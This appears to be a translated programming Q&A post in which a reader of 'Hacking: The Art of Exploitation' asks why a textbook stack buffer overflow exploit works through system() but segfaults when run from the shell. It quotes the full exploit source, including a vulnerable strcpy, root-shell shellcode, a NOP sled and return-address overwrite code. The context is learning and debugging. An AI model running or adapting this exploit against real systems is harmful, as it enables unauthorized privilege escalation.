【发布时间】:2013-08-13 18:27:31
【问题描述】:
我正在阅读《黑客 - 剥削的艺术》一书。 有一个关于堆栈缓冲区溢出的示例。
这是被攻击程序“notesearch”的一部分源代码:
char searchstring[100];
// ...
if(argc > 1)
strcpy(searchstring, argv[1]); // <-- no length check
这里是攻击程序“exploit_notesearch”的来源:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
// <-- dumping full command string here
system(command); // run exploit
free(command);
}
运行exploit_notesearch 时,一切正常,我会得到一个root shell,因为notesearch 程序有suid 权限。 命令字符串包含要调用的程序的名称、NOP sled、shellcode 和 shellcode 的返回地址。
我想用 gdb 调试被利用的程序,看看这个漏洞是如何工作的。 为此,我将命令字符串(就在调用 system() 之前)转储到一个文件中(我们称之为 dump.txt)。 然后,我尝试从 shell 中获得相同的结果,直接调用被利用的程序,并将转储的命令字符串作为参数。
提示> $(cat dump.txt)
notesearch 程序启动了,但是我得到了一个分段错误,而不是 root shell。 我还通过脚本在很大范围内改变了返回地址。
我的问题,有什么区别:
通过 shell 启动 notesearch
通过系统启动notesearch
也许您还知道另一种通过 gdb 调试被利用程序的方法。
【问题讨论】:
-
为什么不用gdb来单步执行整个程序呢?为什么要转储命令字符串?
-
您是否有可能在具有堆栈执行保护的机器上运行和/或您将代码编译为 64 位?
-
我尝试使用 set follow-fork-mode child 进入子节点,这不适用于 gdb 6.6(我必须使用这个 gdb,因为它包含在随书)。还尝试在孩子中添加一个 sleep() ,并在分叉后尝试附加到 PID - 不起作用导致 gdb 中的命令提示符在睡眠期间被禁用!?我正在使用带有旧 Ubuntu 版本的 Live CD,它不使用这些保护。在最新的环境和操作系统上编译时,漏洞利用不起作用,因为启用了许多诸如 ASLR 之类的东西。